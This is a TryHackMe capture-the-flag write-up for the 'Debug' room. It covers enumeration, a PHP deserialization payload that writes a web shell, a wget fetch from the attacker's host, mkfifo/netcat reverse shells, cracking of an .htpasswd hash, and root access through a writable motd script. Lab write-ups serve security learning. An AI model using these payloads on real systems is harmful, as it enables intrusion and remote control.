TryHackMe: Debug by ustoun0

Linux Machine CTF! You'll learn about enumeration, finding hidden password files and how to exploit php deserialization!

Introduction

Hey everybody!

Welcome to this Linux CTF Machine!

The main idea of this room is to make you learn more about php deserialization!

I hope you enjoy your journey :)

Enumeration

Let's add to /etc/hosts and fire up our trusty rustscan

╰─⠠⠵ rustscan -a debug --ulimit 10000 -- -sC -sV -A -oA debug -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.98.193:22
Open 10.10.98.193:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-31 19:21 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
Initiating Connect Scan at 19:21
Scanning debug (10.10.98.193) [2 ports]
Discovered open port 22/tcp on 10.10.98.193
Discovered open port 80/tcp on 10.10.98.193
Completed Connect Scan at 19:21, 0.04s elapsed (2 total ports)
Initiating Service scan at 19:21
Scanning 2 services on debug (10.10.98.193)
Completed Service scan at 19:21, 6.12s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.98.193.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 2.33s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.16s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
Nmap scan report for debug (10.10.98.193)
Host is up, received user-set (0.042s latency).
Scanned at 2021-03-31 19:21:45 BST for 9s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDar9Wvsxi0NTtlrjfNnap7o6OD9e/Eug2nZF18xx17tNZC/iVn5eByde27ZzR4Gf10FwleJzW5B7ieEThO3Ry5/kMZYbobY2nI8F3s20R8+sb6IdWDL4NIkFPqsDudH3LORxECx0DtwNdqgMgqeh/fCys1BzU2v2MvP5alraQmX81h1AMDQPTo9nDHEJ6bc4Tt5NyoMZZSUXDfJRutsmt969AROoyDsoJOrkwdRUmYHrPqA5fvLtWsWXHYKGsWOPZSe0HIq4wUthMf65RQynFQRwErrJlQmOIKjMV9XkmWQ8c/DqA1h7xKtbfeUYa9nEfhO4HoSkwS0lCErj+l9p8h
|   256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA7IA5s8W9jhxGAF1s4Q4BNSu1A52E+rSyFGBYdecgcJJ/sNZ3uL6sjZEsAfJG83m22c0HgoePkuWrkdK2oRnbs=
|   256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGXyfw0mC4ho9k8bd+n0BpaYrda6qT2eI1pi8TBYXKMb
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.14 seconds

As this box did not respond to pings I threw in the -Pn to scan anyway

22/ssh

No user details so swiftly moving on to the next port.....

80/http

Here we have our default apache start page, nothing hiding in the page or sources and no robots.txt......

Let's jump across to a terminal and get gobuster running to see if we can spot and directories.....

╰─⠠⠵ gobuster dir -u http://debug -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://debug
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/03/31 19:26:43 Starting gobuster in directory enumeration mode
===============================================================
/javascript           (Status: 301) [Size: 303] [--> http://debug/javascript/]
/backup               (Status: 301) [Size: 299] [--> http://debug/backup/]    
/grid                 (Status: 301) [Size: 297] [--> http://debug/grid/] 
...
...
...

Ok, so /backup/ looks the most interesting.... Let's jump in and take a look.

Looks like we have responsive framework base ....

Let's grab the directory with wget to take a look at it locally.

╰─⠠⠵ wget -m -k --no-parent http://debug/backup/

Looking in index.php.bak we something interesting

}

// Leaving this for now... only for debug purposes... do not touch!

$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);

$application = new FormSubmit;
$application -> SaveMessage();


?>

Looking around I can not see much else so fire up a new gobuster with -x to check for extensions.

╰─⠠⠵ gobuster dir -u http://debug -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,bak,zip,txt,htm,html,tar,gz,tar.gz,db,sql,sqlite
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://debug
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              sql,bak,zip,txt,htm,html,tar,db,php,gz,tar.gz,sqlite
[+] Timeout:                 10s
===============================================================
2021/03/31 19:39:47 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 11321]
/index.php            (Status: 200) [Size: 5732] 
/message.txt          (Status: 200) [Size: 235] 

sneaky mime type ordering in apache, let's try /index.php

We also see message.txt

Nice, now we have a page to play with.....

User.txt

OK, so the room is a php serialisation room so let's try focusing on that $GET_['debug'] that we saw in index.php.bak. First though let's throw some garbage into the webform and see what happens.

It throws the user input into the URL which is what happens in the index.php.bak file so we can assume it is the same so let's play...

After a couple hours of research I come up with the below code to generate the serialized code.

<?php
class FormSubmit 
{

        public $form_file = 'backup/shell.php';
        public $message = "<?php%20echo%20exec(\$_GET[cmd])%20?>";
}

$serial = serialize(new FormSubmit);
print $serial;
?>

Output: O:10:"FormSubmit":2:{s:9:"form_file";s:16:"backup/shell.php";s:7:"message";s:30:"";}

WTF ?!

Ok, so as I said it took me a while to get the code working and understand what needed to be done. Lets take a look at our index.php.bak ignoring the debug for now

class FormSubmit 
{

public $form_file = 'message.txt';
public $message = '';

public function SaveMessage() {

$NameArea = $_GET['name']; 
$EmailArea = $_GET['email'];
$TextArea = $_GET['comments'];

        $this-> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";

}

public function __destruct() {

file_put_contents(__DIR__ . '/' . $this->form_file,$this->message,FILE_APPEND);
echo 'Your submission has been successfully saved!';

}

So above we can see we have a class named FormSubmit, inside this class we have 2 variables we are interested in as they are used in the _destruct function below.

  • form_file - where the output will be put
  • message - the contents of the output

Using our code we control these variables, so running through our code

code About
class FormSubmit {} define our class
public $from_file = 'backup/shell.php' defines a public variable with the path to our shell file we want to create
public $message = "<?php%20echo%20exec(\$_GET[cmd])%20?>"; defines a public variable with what we want the contents to be. *I had to replaces the [spaces] with %20 otherwise the webserver threw error 400 - bad request
$serial = serialize(new FormSubmit); This creates a variable serial with the serialized format of our class
print $serial; This just prints the output to screen

After running this we get the output

O:10:"FormSubmit":2:{s:9:"form_file";s:16:"backup/shell.php";s:7:"message";s:30:"<?php%20echo%20exec($_GET[cmd])%20?>";}

element about
0 defines the first element of our array
10 The length of our class name
FormSubmit Name of our class
2 The number of objects in our array
s Tells php that the object is a string
9 Length of the object name
form_file the object name
s Tells php that the object is a string
16 Length of the object name
backup/shell.php value of the object, in our case the destination file
s Tells php that the object is a string
7 Length of the object name
message the object name
s Tells php that the object is a string
30 Length of the object name
<?php%20echo%20exec($_GET[cmd])%20?> value of the object, in our case the contents of the file we are creating

RCE

Ok, now we have our payload we can use the debug argument to execute our code. The easiest way to do this is burp

We can then navigate to /backup/shell.php?cmd=id to confirm we have RCE

Now that we have some basic RCE I am going to copy over a better webshell using wget

debug.local/backup/shell.php?cmd=wget http://10.9.0.38:8000/web.php

Looking around using this we can't find our user.txt so let's get a reverse shell so we can poke further at the box.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.38 4444 >/tmp/f

And on our box

╰─⠠⠵ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.0.38] from (UNKNOWN) [10.10.33.94] 39720
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@osboxes:/var/www/html/backup$ export TERM=xterm
export TERM=xterm
www-data@osboxes:/var/www/html/backup$ ^Z
[1]  + 12435 suspended  nc -lvnp 4444

╰─⠠⠵ stty raw -echo; fg
[1]  + 12435 continued  nc -lvnp 4444

www-data@osboxes:/var/www/html/backup$ 
www-data@osboxes:/var/www/html/backup$ 
www-data@osboxes:/var/www/html/backup$

Looking in /home/ we have one user james but can not access his directory.

PrivEsc #1

Ok so it looks like we need to become james, we do not have the password for www-data so can not use sudo so need to find a PrivEsc or password for james.

First lets look for any files owned by james

www-data@osboxes:/var/www/html/backup$ find / -user james 2>/dev/null
/var/lib/lightdm-data/james
/home/james

Taking a look at both of those we get Permission denied so let's see if we can find passwords in files.

Looking for hidden files in /var/www/html we see a .htpasswd

www-data@osboxes:/var/www/html$ cat .htpasswd 
james:[REDACTED]

Running this through john we get the password.

╰─⠠⠵ john james --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]          (james)
1g 0:00:00:00 DONE (2021-03-31 22:20) 
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Using this password we can access the box via ssh.

╰─⠠⠵ ssh james@debug
The authenticity of host 'debug (10.10.33.94)' can't be established.
ECDSA key fingerprint is SHA256:JCUiGJ9gC+EZEJeudS9yMKLVlE7MtpS2rolJudHcCbQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'debug,10.10.33.94' (ECDSA) to the list of known hosts.
james@debug's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

439 packages can be updated.
380 updates are security updates.

Last login: Wed Mar 10 18:36:58 2021 from 10.250.0.44

Now we are james we can read user.txt

james@osboxes:~$ cat user.txt 
[REDACTED]

Root.txt

Ok, now we are cooking on gas. Let's try our usual sudo -l to see if we can do anything

james@osboxes:~$ sudo -l
[sudo] password for james: 
Sorry, user james may not run sudo on osboxes.

Well that put the brakes on! Anyway looking in /home/james we have Note-To-James.txt

Dear James,

As you may already know, we are soon planning to submit this machine to THM's CyberSecurity Platform! Crazy... Isn't it? 

But there's still one thing I'd like you to do, before the submission.

Could you please make our ssh welcome message a bit more pretty... you know... something beautiful :D

I gave you access to modify all these files :) 

Oh and one last thing... You gotta hurry up! We don't have much time left until the submission!

Best Regards,

root

Hmm.... we have been given access to modify some files

Could you please make our ssh welcome message a bit more pretty... you know... something beautiful :D

I gave you access to modify all these files :)

Ok that looks like it could give us an opportunity for some mischief

PrivEsc #2

Let's grab linPEAS and get to work....

[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files                                               
  Group james:                                                                                                               
/etc/update-motd.d/10-help-text                                                                                              
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/98-fsck-at-reboot
/etc/update-motd.d/98-reboot-required
/etc/update-motd.d/00-header
#)You_can_write_even_more_files_inside_last_directory

Ok so we can edit the files under /etc/update-motd.d/, lets add a reverseshell line to the bottom of /etc/update-motd.d/00-header ...

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.38 5555 >/tmp/f

Now let's start a listener on our box nc -lvnp 5555 and log in again as james

╰─⠠⠵ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.9.0.38] from (UNKNOWN) [10.10.33.94] 45286
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Nice! we are r00t, now let;s grab our flag....

# pwd
/
# cd /root
# ls
root.txt
# cat root.txt
[REDACTED]

Done!!!!

Another room done and learned some stuff about php serialization. Was a fun room and took a bit of research but got there in the end!